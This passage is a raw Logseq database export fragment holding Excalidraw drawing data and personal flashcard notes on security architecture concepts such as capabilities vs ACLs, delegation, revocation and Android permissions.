oundElements\\logseq____":[],\\logseq____"updated\\logseq____":1729605956747,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"startBinding\\logseq____":null,\\logseq____"endBinding\\logseq____":{\\logseq____"elementId\\logseq____":\\logseq____"l1QvNgyVWi9rSs9iEZ-Y9\\logseq____",\\logseq____"focus\\logseq____":0.03666276150632129,\\logseq____"gap\\logseq____":1.0000000000000568},\\logseq____"lastCommittedPoint\\logseq____":null,\\logseq____"startArrowhead\\logseq____":null,\\logseq____"endArrowhead\\logseq____":\\logseq____"arrow\\logseq____",\\logseq____"points\\logseq____":[[0,0],[109.98214285714278,-21],[115.21835295548442,-212.3214285714282]]},{\\logseq____"id\\logseq____":\\logseq____"8ctK7mdhHb2DVqR1e_nXK\\logseq____",\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"x\\logseq____":655.7738095238096,\\logseq____"y\\logseq____":597.8253968253966,\\logseq____"width\\logseq____":298.57142857142867,\\logseq____"height\\logseq____":180.0000000000001,\\logseq____"angle\\logseq____":0,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"seed\\logseq____":279187236,\\logseq____"version\\logseq____":117,\\logseq____"versionNonce\\logseq____":182665764,\\logseq____"isDeleted\\logseq____":true,\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605860629,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false},{\\logseq____"id\\logseq____":\\logseq____"X37iYwlX9j5Ls6AXuEhCX\\logseq____",\\logseq____"type\\logseq____":\\logseq____"text\\logseq____",\\logseq____"x\\logseq____":774.3452380952383,\\logseq____"y\\logseq____":607.8253968253968,\\logseq____"width\\logseq____":57.33995056152344,\\logseq____"height\\logseq____":25,\\logseq____"angle\\logseq____":0,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":null,\\logseq____"seed\\logseq____":1121397660,\\logseq____"version\\logseq____":107,\\logseq____"versionNonce\\logseq____":1508426396,\\logseq____"isDeleted\\logseq____":false,\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605887545,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false,\\logseq____"text\\logseq____":\\logseq____"Kernel\\logseq____",\\logseq____"fontSize\\logseq____":20,\\logseq____"fontFamily\\logseq____":1,\\logseq____"textAlign\\logseq____":\\logseq____"left\\logseq____",\\logseq____"verticalAlign\\logseq____":\\logseq____"top\\logseq____",\\logseq____"baseline\\logseq____":18,\\logseq____"containerId\\logseq____":null,\\logseq____"originalText\\logseq____":\\logseq____"Kernel\\logseq____",\\logseq____"lineHeight\\logseq____":1.25},{\\logseq____"id\\logseq____":\\logseq____"PqPMoaE0eDH2QYtnuaGt3\\logseq____",\\logseq____"type\\logseq____":\\logseq____"rectangle\\logseq____",\\logseq____"x\\logseq____":657.202380952381,\\logseq____"y\\logseq____":602.111111111111,\\logseq____"width\\logseq____":295.71428571428584,\\logseq____"height\\logseq____":162.8571428571429,\\logseq____"angle\\logseq____":0,\\logseq____"strokeColor\\logseq____":\\logseq____"#1e1e1e\\logseq____",\\logseq____"backgroundColor\\logseq____":\\logseq____"transparent\\logseq____",\\logseq____"fillStyle\\logseq____":\\logseq____"solid\\logseq____",\\logseq____"strokeWidth\\logseq____":2,\\logseq____"strokeStyle\\logseq____":\\logseq____"dashed\\logseq____",\\logseq____"roughness\\logseq____":1,\\logseq____"opacity\\logseq____":100,\\logseq____"groupIds\\logseq____":[],\\logseq____"frameId\\logseq____":null,\\logseq____"roundness\\logseq____":{\\logseq____"type\\logseq____":3},\\logseq____"seed\\logseq____":1258811804,\\logseq____"version\\logseq____":138,\\logseq____"versionNonce\\logseq____":893757732,\\logseq____"isDeleted\\logseq____":false,\\logseq____"boundElements\\logseq____":null,\\logseq____"updated\\logseq____":1729605886024,\\logseq____"link\\logseq____":null,\\logseq____"locked\\logseq____":false}],\\logseq____"files\\logseq____":{},\\logseq____"appState\\logseq____":{\\logseq____"gridSize\\logseq____":null,\\logseq____"viewBackgroundColor\\logseq____":\\logseq____"#ffffff\\logseq____",\\logseq____"zoom\\logseq____":{\\logseq____"value\\logseq____":0.7000000000000001},\\logseq____"offsetTop\\logseq____":20,\\logseq____"offsetLeft\\logseq____":0,\\logseq____"scrollX\\logseq____":522.7976190476188,\\logseq____"scrollY\\logseq____":262.17460317460325,\\logseq____"viewModeEnabled\\logseq____":false,\\logseq____"zenModeEnabled\\logseq____":false}}\\n```logseq____",536870916]],[logseq____"^15logseq____",[327,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[327,logseq____"^Flogseq____",326,536870916]],[logseq____"^15logseq____",[327,logseq____"^Xlogseq____",322,536870916]],[logseq____"^15logseq____",[327,logseq____"^Vlogseq____",322,536870916]],[logseq____"^15logseq____",[327,logseq____"^Ulogseq____",322,536870916]],[logseq____"^15logseq____",[327,logseq____"^;logseq____",logseq____"~u67b83fac-9126-4e58-8aa1-0793fde86429logseq____",536870916]],[logseq____"^15logseq____",[328,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^1:logseq____",logseq____"rendererlogseq____",logseq____"^1;logseq____",[logseq____"excalidraw-menulogseq____",logseq____"excalidraw-2024-10-22-15-59-19logseq____"]],536870916]],[logseq____"^15logseq____",[328,logseq____"^Wlogseq____",logseq____"macrologseq____",536870916]],[logseq____"^15logseq____",[328,logseq____"^Tlogseq____",logseq____"renderer excalidraw-menu excalidraw-2024-10-22-15-59-19logseq____",536870916]],[logseq____"^15logseq____",[330,logseq____"^Klogseq____",1740128172108,536870916]],[logseq____"^15logseq____",[330,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[330,logseq____"^Ylogseq____",logseq____"excalidraw-library-items-storagelogseq____",536870916]],[logseq____"^15logseq____",[330,logseq____"^11logseq____",logseq____"excalidraw-library-items-storagelogseq____",536870916]],[logseq____"^15logseq____",[330,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"~:excalidraw-plugin-librarylogseq____",true],536870916]],[logseq____"^15logseq____",[330,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1@logseq____",logseq____"truelogseq____"],536870916]],[logseq____"^15logseq____",[330,logseq____"^Blogseq____",1740128172108,536870916]],[logseq____"^15logseq____",[330,logseq____"^;logseq____",logseq____"~u67b83fac-5dd5-402a-b1dd-693bd574023clogseq____",536870916]],[logseq____"^15logseq____",[331,logseq____"^Klogseq____",1740128172108,536870916]],[logseq____"^15logseq____",[331,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[331,logseq____"^Ylogseq____",logseq____"excalidraw-plugin-librarylogseq____",536870916]],[logseq____"^15logseq____",[331,logseq____"^11logseq____",logseq____"excalidraw-plugin-librarylogseq____",536870916]],[logseq____"^15logseq____",[331,logseq____"^Blogseq____",1740128172108,536870916]],[logseq____"^15logseq____",[331,logseq____"^;logseq____",logseq____"~u67b83fac-8417-48f5-a52f-d80d5d331d31logseq____",536870916]],[logseq____"^15logseq____",[332,logseq____"^Qlogseq____",logseq____"excalidraw-plugin-library:: true\\n\\nlogseq____",536870916]],[logseq____"^15logseq____",[332,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[332,logseq____"^1=logseq____",[logseq____"^1logseq____>logseq____",[]],536870916]],[logseq____"^15logseq____",[332,logseq____"^Flogseq____",330,536870916]],[logseq____"^15logseq____",[332,logseq____"^Xlogseq____",330,536870916]],[logseq____"^15logseq____",[332,logseq____"^Vlogseq____",330,536870916]],[logseq____"^15logseq____",[332,logseq____"^Ulogseq____",330,536870916]],[logseq____"^15logseq____",[332,logseq____"^Ulogseq____",331,536870916]],[logseq____"^15logseq____",[332,logseq____"^:logseq____",true,536870916]],[logseq____"^15logseq____",[332,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^1@logseq____",true],536870916]],[logseq____"^15logseq____",[332,logseq____"^Jlogseq____",[logseq____"^1@logseq____"],536870916]],[logseq____"^15logseq____",[332,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^1@logseq____",logseq____"truelogseq____"],536870916]],[logseq____"^15logseq____",[332,logseq____"^Hlogseq____",331,536870916]],[logseq____"^15logseq____",[332,logseq____"^;logseq____",logseq____"~u67b83fac-15cf-4a29-82fe-2296cfcf0da4logseq____",536870916]],[logseq____"^15logseq____",[333,logseq____"^Qlogseq____",logseq____"#+BEGIN_IMPORTANT\\nThis file is used to store excalidraw information, Please do not manually edit this file.\\n#+END_IMPORTANTlogseq____",536870916]],[logseq____"^15logseq____",[333,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[333,logseq____"^Flogseq____",332,536870916]],[logseq____"^15logseq____",[333,logseq____"^Xlogseq____",330,536870916]],[logseq____"^15logseq____",[333,logseq____"^Vlogseq____",330,536870916]],[logseq____"^15logseq____",[333,logseq____"^Ulogseq____",330,536870916]],[logseq____"^15logseq____",[333,logseq____"^;logseq____",logseq____"~u67b83fac-6d87-4633-be97-33d50b7ab685logseq____",536870916]],[logseq____"^15logseq____",[334,logseq____"^Qlogseq____",logseq____"~```json\\n[]\\n```logseq____",536870916]],[logseq____"^15logseq____",[334,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[334,logseq____"^Flogseq____",333,536870916]],[logseq____"^15logseq____",[334,logseq____"^Xlogseq____",330,536870916]],[logseq____"^15logseq____",[334,logseq____"^Vlogseq____",330,536870916]],[logseq____"^15logseq____",[334,logseq____"^Ulogseq____",330,536870916]],[logseq____"^15logseq____",[334,logseq____"^;logseq____",logseq____"~u67b83fac-8c09-4b57-9c77-5d2e02e6f689logseq____",536870916]],[logseq____"^15logseq____",[336,logseq____"^Klogseq____",1740128172111,536870916]],[logseq____"^15logseq____",[336,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[336,logseq____"^Ylogseq____",logseq____"saarctf2024 aftermathlogseq____",536870916]],[logseq____"^15logseq____",[336,logseq____"^11logseq____",logseq____"saarCTF2024 Aftermathlogseq____",536870916]],[logseq____"^15logseq____",[336,logseq____"^Blogseq____",1740128172111,536870916]],[logseq____"^15logseq____",[336,logseq____"^;logseq____",logseq____"~u67b83fac-60b2-4c29-9fef-acae50b7a685logseq____",536870916]],[logseq____"^15logseq____",[337,logseq____"^Qlogseq____",logseq____"logseq____",536870916]],[logseq____"^15logseq____",[337,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[337,logseq____"^Flogseq____",336,536870916]],[logseq____"^15logseq____",[337,logseq____"^Xlogseq____",336,536870916]],[logseq____"^15logseq____",[337,logseq____"^Vlogseq____",336,536870916]],[logseq____"^15logseq____",[337,logseq____"^Ulogseq____",336,536870916]],[logseq____"^15logseq____",[337,logseq____"^;logseq____",logseq____"~u67b83fac-49ab-4bde-ab83-0c5ca27ffacelogseq____",536870916]],[logseq____"^15logseq____",[338,logseq____"^2logseq____",1,536870917]],[logseq____"^15logseq____",[338,logseq____"^Tlogseq____",logseq____"^2logseq____",536870917]],[logseq____"^15logseq____",[339,logseq____"^Tlogseq____",logseq____"^Rlogseq____",536870918]],[logseq____"^15logseq____",[340,logseq____"^Qlogseq____",logseq____"logseq____",536870921]],[logseq____"^15logseq____",[340,logseq____"^Ologseq____",logseq____"^16logseq____",536870921]],[logseq____"^15logseq____",[340,logseq____"^@logseq____",false,536870921]],[logseq____"^15logseq____",[340,logseq____"^Flogseq____",38,536870921]],[logseq____"^15logseq____",[340,logseq____"^Xlogseq____",38,536870921]],[logseq____"^15logseq____",[340,logseq____"^Vlogseq____",38,536870921]],[logseq____"^15logseq____",[340,logseq____"^Ulogseq____",38,536870922]],[logseq____"^15logseq____",[340,logseq____"^?logseq____",[logseq____"^ logseq____"],536870921]],[logseq____"^15logseq____",[340,logseq____"^;logseq____",logseq____"~u67b8404b-9a67-49fc-b969-9ffd84a6af22logseq____",536870921]],[logseq____"^15logseq____",[341,logseq____"^Qlogseq____",logseq____"Authority has to be wielded *explicitly* in an ideal capability systemlogseq____",536870957]],[logseq____"^15logseq____",[341,logseq____"^Ologseq____",logseq____"^16logseq____",536870927]],[logseq____"^15logseq____",[341,logseq____"^Flogseq____",44,536870927]],[logseq____"^15logseq____",[341,logseq____"^Xlogseq____",37,536870927]],[logseq____"^15logseq____",[341,logseq____"^Vlogseq____",60,536870927]],[logseq____"^15logseq____",[341,logseq____"^Ulogseq____",2,536871284]],[logseq____"^15logseq____",[341,logseq____"^Ulogseq____",37,536871284]],[logseq____"^15logseq____",[341,logseq____"^Ulogseq____",38,536871284]],[logseq____"^15logseq____",[341,logseq____"^?logseq____",[logseq____"^ logseq____"],536870957]],[logseq____"^15logseq____",[341,logseq____"^;logseq____",logseq____"~u67b840a2-9d9e-4c21-bad4-69615fd6662blogseq____",536870927]],[logseq____"^15logseq____",[342,logseq____"^Qlogseq____",logseq____"## ACL vs Capabilitieslogseq____",536870968]],[logseq____"^15logseq____",[342,logseq____"^Ologseq____",logseq____"^16logseq____",536870960]],[logseq____"^15logseq____",[342,logseq____"^Flogseq____",58,536870964]],[logseq____"^15logseq____",[342,logseq____"^Xlogseq____",37,536870960]],[logseq____"^15logseq____",[342,logseq____"^Vlogseq____",37,536870964]],[logseq____"^15logseq____",[342,logseq____"^Ulogseq____",37,536870965]],[logseq____"^15logseq____",[342,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870968]],[logseq____"^15logseq____",[342,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536870968]],[logseq____"^15logseq____",[342,logseq____"^;logseq____",logseq____"~u67b84172-4dad-4336-aa2c-7af893f3bd47logseq____",536870960]],[logseq____"^15logseq____",[343,logseq____"^Qlogseq____",logseq____"### Ambiguous terms:logseq____",536871107]],[logseq____"^15logseq____",[343,logseq____"^Ologseq____",logseq____"^16logseq____",536870969]],[logseq____"^15logseq____",[343,logseq____"^Flogseq____",347,536871135]],[logseq____"^15logseq____",[343,logseq____"^Xlogseq____",37,536870969]],[logseq____"^15logseq____",[343,logseq____"^Vlogseq____",342,536870975]],[logseq____"^15logseq____",[343,logseq____"^Ulogseq____",37,536870970]],[logseq____"^15logseq____",[343,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536871107]],[logseq____"^15logseq____",[343,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536871107]],[logseq____"^15logseq____",[343,logseq____"^;logseq____",logseq____"~u67b8417f-33ea-45a9-9583-4af220525523logseq____",536870969]],[logseq____"^15logseq____",[344,logseq____"^Qlogseq____",logseq____"Linux capabilities (!= object capabilities): Privileges from super-user divided into distinct units (capabilities can be independently en-/disabled and are per-thread attributes)logseq____",536871047]],[logseq____"^15logseq____",[344,logseq____"^Ologseq____",logseq____"^16logseq____",536870981]],[logseq____"^15logseq____",[344,logseq____"^Flogseq____",343,536870981]],[logseq____"^15logseq____",[344,logseq____"^Xlogseq____",37,536870981]],[logseq____"^15logseq____",[344,logseq____"^Vlogseq____",343,536870983]],[logseq____"^15logseq____",[344,logseq____"^Ulogseq____",37,536871136]],[logseq____"^15logseq____",[344,logseq____"^?logseq____",[logseq____"^ logseq____"],536871047]],[logseq____"^15logseq____",[344,logseq____"^;logseq____",logseq____"~u67b84186-3287-4c56-8a56-4772afb38eb3logseq____",536870981]],[logseq____"^15logseq____",[345,logseq____"^Qlogseq____",logseq____"Windows access tokens: Security context of a process/thread (contains identity and privileges of the user account)logseq____",536871078]],[logseq____"^15logseq____",[345,logseq____"^Ologseq____",logseq____"^16logseq____",536871048]],[logseq____"^15logseq____",[345,logseq____"^Flogseq____",344,536871048]],[logseq____"^15logseq____",[345,logseq____"^Xlogseq____",37,536871048]],[logseq____"^15logseq____",[345,logseq____"^Vlogseq____",343,536871048]],[logseq____"^15logseq____",[345,logseq____"^Ulogseq____",37,536871136]],[logseq____"^15logseq____",[345,logseq____"^?logseq____",[logseq____"^ logseq____"],536871078]],[logseq____"^15logseq____",[345,logseq____"^;logseq____",logseq____"~u67b84213-80a0-4d69-9737-0781cc871555logseq____",536871048]],[logseq____"^15logseq____",[346,logseq____"^Qlogseq____",logseq____"OAuth/JWT: authorization with signed token asserting claimslogseq____",536871114]],[logseq____"^15logseq____",[346,logseq____"^Ologseq____",logseq____"^16logseq____",536871081]],[logseq____"^15logseq____",[346,logseq____"^Flogseq____",345,536871081]],[logseq____"^15logseq____",[346,logseq____"^Xlogseq____",37,536871081]],[logseq____"^15logseq____",[346,logseq____"^Vlogseq____",343,536871081]],[logseq____"^15logseq____",[346,logseq____"^Ulogseq____",37,536871136]],[logseq____"^15logseq____",[346,logseq____"^?logseq____",[logseq____"^ logseq____"],536871114]],[logseq____"^15logseq____",[346,logseq____"^;logseq____",logseq____"~u67b84243-d180-4ae6-be8e-b152205ec147logseq____",536871081]],[logseq____"^15logseq____",[347,logseq____"^Qlogseq____",logseq____"### Inheriting access rights: #card #security-architecturelogseq____",536871144]],[logseq____"^15logseq____",[347,logseq____"^Ologseq____",logseq____"^16logseq____",536871117]],[logseq____"^15logseq____",[347,logseq____"^Flogseq____",342,536871117]],[logseq____"^15logseq____",[347,logseq____"^Xlogseq____",37,536871117]],[logseq____"^15logseq____",[347,logseq____"^Vlogseq____",342,536871117]],[logseq____"^15logseq____",[347,logseq____"^Ulogseq____",2,536871145]],[logseq____"^15logseq____",[347,logseq____"^Ulogseq____",37,536871145]],[logseq____"^15logseq____",[347,logseq____"^Ulogseq____",38,536871145]],[logseq____"^15logseq____",[347,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536871144]],[logseq____"^15logseq____",[347,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536871144]],[logseq____"^15logseq____",[347,logseq____"^Hlogseq____",2,536871144]],[logseq____"^15logseq____",[347,logseq____"^Hlogseq____",38,536871144]],[logseq____"^15logseq____",[347,logseq____"^;logseq____",logseq____"~u67b84272-295e-42e3-8318-21c64442a1c6logseq____",536871117]],[logseq____"^15logseq____",[348,logseq____"^Qlogseq____",logseq____"Inheritance through *subject ID*, e.g., UIDlogseq____",536871242]],[logseq____"^15logseq____",[348,logseq____"^Ologseq____",logseq____"^16logseq____",536871133]],[logseq____"^15logseq____",[348,logseq____"^Flogseq____",50,536871210]],[logseq____"^15logseq____",[348,logseq____"^Xlogseq____",37,536871133]],[logseq____"^15logseq____",[348,logseq____"^Vlogseq____",57,536871210]],[logseq____"^15logseq____",[348,logseq____"^Ulogseq____",2,536871145]],[logseq____"^15logseq____",[348,logseq____"^Ulogseq____",37,536871145]],[logseq____"^15logseq____",[348,logseq____"^Ulogseq____",38,536871145]],[logseq____"^15logseq____",[348,logseq____"^?logseq____",[logseq____"^ logseq____"],536871242]],[logseq____"^15logseq____",[348,logseq____"^;logseq____",logseq____"~u67b84281-55b8-4b9e-8aeb-2e69f8d228fblogseq____",536871133]],[logseq____"^15logseq____",[349,logseq____"^Qlogseq____",logseq____"Inheritance through *delegation*, i.e., delegate capability tokenlogseq____",536871236]],[logseq____"^15logseq____",[349,logseq____"^Ologseq____",logseq____"^16logseq____",536871169]],[logseq____"^15logseq____",[349,logseq____"^Flogseq____",47,536871214]],[logseq____"^15logseq____",[349,logseq____"^Xlogseq____",37,536871169]],[logseq____"^15logseq____",[349,logseq____"^Vlogseq____",58,536871214]],[logseq____"^15logseq____",[349,logseq____"^Ulogseq____",2,536871170]],[logseq____"^15logseq____",[349,logseq____"^Ulogseq____",37,536871170]],[logseq____"^15logseq____",[349,logseq____"^Ulogseq____",38,536871170]],[logseq____"^15logseq____",[349,logseq____"^?logseq____",[logseq____"^ logseq____"],536871236]],[logseq____"^15logseq____",[349,logseq____"^;logseq____",logseq____"~u67b842b7-2cdb-4ff2-aafa-208e2fe93e8elogseq____",536871169]],[logseq____"^15logseq____",[350,logseq____"^Qlogseq____",logseq____"Delegation is hard (alternative approach: let other process act under current user, e.g., `setuid`)logseq____",536871280]],[logseq____"^15logseq____",[350,logseq____"^Ologseq____",logseq____"^16logseq____",536871245]],[logseq____"^15logseq____",[350,logseq____"^Flogseq____",348,536871245]],[logseq____"^15logseq____",[350,logseq____"^Xlogseq____",37,536871245]],[logseq____"^15logseq____",[350,logseq____"^Vlogseq____",57,536871245]],[logseq____"^15logseq____",[350,logseq____"^Ulogseq____",2,536871246]],[logseq____"^15logseq____",[350,logseq____"^Ulogseq____",37,536871246]],[logseq____"^15logseq____",[350,logseq____"^Ulogseq____",38,536871246]],[logseq____"^15logseq____",[350,logseq____"^?logseq____",[logseq____"^ logseq____"],536871280]],[logseq____"^15logseq____",[350,logseq____"^;logseq____",logseq____"~u67b8434c-4424-441d-a0df-df8f8c266cb0logseq____",536871245]],[logseq____"^15logseq____",[351,logseq____"^Qlogseq____",logseq____"Revocation is easylogseq____",536871290]],[logseq____"^15logseq____",[351,logseq____"^Ologseq____",logseq____"^16logseq____",536871283]],[logseq____"^15logseq____",[351,logseq____"^Flogseq____",350,536871283]],[logseq____"^15logseq____",[351,logseq____"^Xlogseq____",37,536871283]],[logseq____"^15logseq____",[351,logseq____"^Vlogseq____",57,536871283]],[logseq____"^15logseq____",[351,logseq____"^Ulogseq____",2,536871284]],[logseq____"^15logseq____",[351,logseq____"^Ulogseq____",37,536871284]],[logseq____"^15logseq____",[351,logseq____"^Ulogseq____",38,536871284]],[logseq____"^15logseq____",[351,logseq____"^?logseq____",[logseq____"^ logseq____"],536871290]],[logseq____"^15logseq____",[351,logseq____"^;logseq____",logseq____"~u67b84392-2704-4310-9016-83e8e39aba31logseq____",536871283]],[logseq____"^15logseq____",[352,logseq____"^Qlogseq____",logseq____"Delegation is easy: pass capabilities *at runtime* (via *monitor-controlled channel*)logseq____",536871315]],[logseq____"^15logseq____",[352,logseq____"^Ologseq____",logseq____"^16logseq____",536871293]],[logseq____"^15logseq____",[352,logseq____"^Flogseq____",349,536871293]],[logseq____"^15logseq____",[352,logseq____"^Xlogseq____",37,536871293]],[logseq____"^15logseq____",[352,logseq____"^Vlogseq____",58,536871293]],[logseq____"^15logseq____",[352,logseq____"^Ulogseq____",2,536871294]],[logseq____"^15logseq____",[352,logseq____"^Ulogseq____",37,536871294]],[logseq____"^15logseq____",[352,logseq____"^Ulogseq____",38,536871294]],[logseq____"^15logseq____",[352,logseq____"^?logseq____",[logseq____"^ logseq____"],536871315]],[logseq____"^15logseq____",[352,logseq____"^;logseq____",logseq____"~u67b843a1-089b-417c-815d-e5b7b3e1de97logseq____",536871293]],[logseq____"^15logseq____",[353,logseq____"^Qlogseq____",logseq____"Revocation is hard: possible, but overhead, e.g., bookkeeping via delegation chainslogseq____",536871364]],[logseq____"^15logseq____",[353,logseq____"^Ologseq____",logseq____"^16logseq____",536871318]],[logseq____"^15logseq____",[353,logseq____"^Flogseq____",352,536871318]],[logseq____"^15logseq____",[353,logseq____"^Xlogseq____",37,536871318]],[logseq____"^15logseq____",[353,logseq____"^Vlogseq____",58,536871318]],[logseq____"^15logseq____",[353,logseq____"^Ulogseq____",2,536871319]],[logseq____"^15logseq____",[353,logseq____"^Ulogseq____",37,536871319]],[logseq____"^15logseq____",[353,logseq____"^Ulogseq____",38,536871319]],[logseq____"^15logseq____",[353,logseq____"^?logseq____",[logseq____"^ logseq____"],536871364]],[logseq____"^15logseq____",[353,logseq____"^;logseq____",logseq____"~u67b843d0-a76d-4bc7-aa53-8c9f7e4a7373logseq____",536871318]],[logseq____"^15logseq____",[354,logseq____"^Klogseq____",1740129304099,536871371]],[logseq____"^15logseq____",[354,logseq____"^Ologseq____",logseq____"^16logseq____",536871373]],[logseq____"^15logseq____",[354,logseq____"^@logseq____",false,536871371]],[logseq____"^15logseq____",[354,logseq____"^Ylogseq____",logseq____"permissionslogseq____",536871371]],[logseq____"^15logseq____",[354,logseq____"^11logseq____",logseq____"Permissionslogseq____",536871371]],[logseq____"^15logseq____",[354,logseq____"^Blogseq____",1740215678157,536874659]],[logseq____"^15logseq____",[354,logseq____"^;logseq____",logseq____"~u67b983c8-c4c1-4ffa-851c-a439cddf28cdlogseq____",536873242]],[logseq____"^15logseq____",[355,logseq____"^Qlogseq____",logseq____"## General Information #card #security-architecturelogseq____",536871379]],[logseq____"^15logseq____",[355,logseq____"^Ologseq____",logseq____"^16logseq____",536871374]],[logseq____"^15logseq____",[355,logseq____"^@logseq____",false,536871374]],[logseq____"^15logseq____",[355,logseq____"^Flogseq____",354,536871374]],[logseq____"^15logseq____",[355,logseq____"^Xlogseq____",354,536871374]],[logseq____"^15logseq____",[355,logseq____"^Vlogseq____",354,536871374]],[logseq____"^15logseq____",[355,logseq____"^Ulogseq____",2,536871380]],[logseq____"^15logseq____",[355,logseq____"^Ulogseq____",38,536871380]],[logseq____"^15logseq____",[355,logseq____"^Ulogseq____",354,536871380]],[logseq____"^15logseq____",[355,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536873242]],[logseq____"^15logseq____",[355,logseq____"^Jlogseq____",[],536873242]],[logseq____"^15logseq____",[355,logseq____"^Hlogseq____",2,536873242]],[logseq____"^15logseq____",[355,logseq____"^Hlogseq____",38,536873242]],[logseq____"^15logseq____",[355,logseq____"^;logseq____",logseq____"~u67b84418-fac8-49bc-95ce-5ee0e9773ff6logseq____",536871374]],[logseq____"^15logseq____",[357,logseq____"^Qlogseq____",logseq____"Permissions as *access rights*/*privileges* in Androidlogseq____'s application frameworklogseq____",536871413]],[logseq____"^15logseq____",[357,logseq____"^Ologseq____",logseq____"^16logseq____",536871384]],[logseq____"^15logseq____",[357,logseq____"^@logseq____",false,536871384]],[logseq____"^15logseq____",[357,logseq____"^Flogseq____",355,536871384]],[logseq____"^15logseq____",[357,logseq____"^Xlogseq____",354,536871384]],[logseq____"^15logseq____",[357,logseq____"^Vlogseq____",355,536871386]],[logseq____"^15logseq____",[357,logseq____"^Ulogseq____",2,536871387]],[logseq____"^15logseq____",[357,logseq____"^Ulogseq____",38,536871387]],[logseq____"^15logseq____",[357,logseq____"^Ulogseq____",354,536871387]],[logseq____"^15logseq____",[357,logseq____"^;logseq____",logseq____"~u67b844af-cda0-4dae-97f2-f26325145cbclogseq____",536871384]],[logseq____"^15logseq____",[358,logseq____"^Qlogseq____",logseq____"$logseq____> 140$ default permissionslogseq____",536871432]],[logseq____"^15logseq____",[358,logseq____"^Ologseq____",logseq____"^16logseq____",536871414]],[logseq____"^15logseq____",[358,logseq____"^@logseq____",false,536871414]],[logseq____"^15logseq____",[358,logseq____"^Flogseq____",357,536871414]],[logseq____"^15logseq____",[358,logseq____"^Xlogseq____",354,536871414]],[logseq____"^15logseq____",[358,logseq____"^Vlogseq____",355,536871414]],[logseq____"^15logseq____",[358,logseq____"^Ulogseq____",2,536871415]],[logseq____"^15logseq____",[358,logseq____"^Ulogseq____",38,536871415]],[logseq____"^15logseq____",[358,logseq____"^Ulogseq____",354,536871415]],[logseq____"^15logseq____",[358,logseq____"^;logseq____",logseq____"~u67b844ca-d587-4b3f-9f6d-8348dc7f5a5flogseq____",536871414]],[logseq____"^15logseq____",[359,logseq____"^Qlogseq____",logseq____"Permissions are *assigned to sandboxes*, i.e., *UID*slogseq____",536871460]],[logseq____"^15logseq____",[359,logseq____"^Ologseq____",logseq____"^16logseq____",536871435]],[logseq____"^15logseq____",[359,logseq____"^@logseq____",false,536871435]],[logseq____"^15logseq____",[359,logseq____"^Flogseq____",358,536871435]],[logseq____"^15logseq____",[359,logseq____"^Xlogseq____",354,536871435]],[logseq____"^15logseq____",[359,logseq____"^Vlogseq____",355,536871435]],[logseq____"^15logseq____",[359,logseq____"^Ulogseq____",2,536871436]],[logseq____"^15logseq____",[359,logseq____"^Ulogseq____",38,536871436]],[logseq____"^15logseq____",[359,logseq____"^Ulogseq____",354,536871436]],[logseq____"^15logseq____",[359,logseq____"^;logseq____",logseq____"~u67b844e1-6ea7-46be-bf79-6b778dda531alogseq____",536871435]],[logseq____"^15logseq____",[360,logseq____"^Qlogseq____",logseq____"Developers can define custom permissions, e.g., for exportet 